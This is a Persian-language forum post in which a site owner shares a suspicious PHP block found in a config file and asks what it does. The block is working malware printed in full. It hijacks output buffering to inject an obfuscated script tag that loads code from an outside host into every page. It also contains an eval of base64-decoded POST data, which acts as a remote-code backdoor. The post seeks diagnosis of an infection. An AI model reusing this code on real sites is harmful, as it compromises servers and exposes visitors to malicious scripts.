foranyone
Well-Known Member
سلام تو فایل کانفیگ یکی از سایت هام عبارات زیر درج شده بود سر در نیاوردم چی بود !!
ببینین میتونین تشخیص بدین عملکرد این کد چیه ؟
PHP:
<?php
if(!isset($o5r1)){
function o5r($s){
if(preg_match_all('#<script(.*?)</script>#is',$s,$a))
foreach($a[0] as $v)
if(count(explode("\n",$v))>5){
$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);
if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))
$s=str_replace($v,'',$s);}
if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))
foreach($a[0] as $v)
if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))
$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL2stc2hvZy5jb20vdmIvM3NsM181My5waHAgPjwvc2NyaXB0Pg=='),'',$s);
if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);
elseif(strpos($s,',a'))$s.=$a;
return $s;
}
function o5r2($a,$b,$c,$d){global $o5r1;$s=array();if(
function_exists($o5r1))call_user_func($o5r1,$a,$b,$c,$d);
foreach(@ob_get_status(1) as $v)
if(($a=$v['name'])=='o5r')return;
elseif($a=='ob_gzhandler')break;
else $s[]=array($a=='default output handler'?false:$a);
for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('o5r');
for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$o5rl=(($a=@set_error_handler('o5r2'))!='o5r2')?$a:0;eval(base64_decode($_POST['e']));
?>ببینین میتونین تشخیص بدین عملکرد این کد چیه ؟
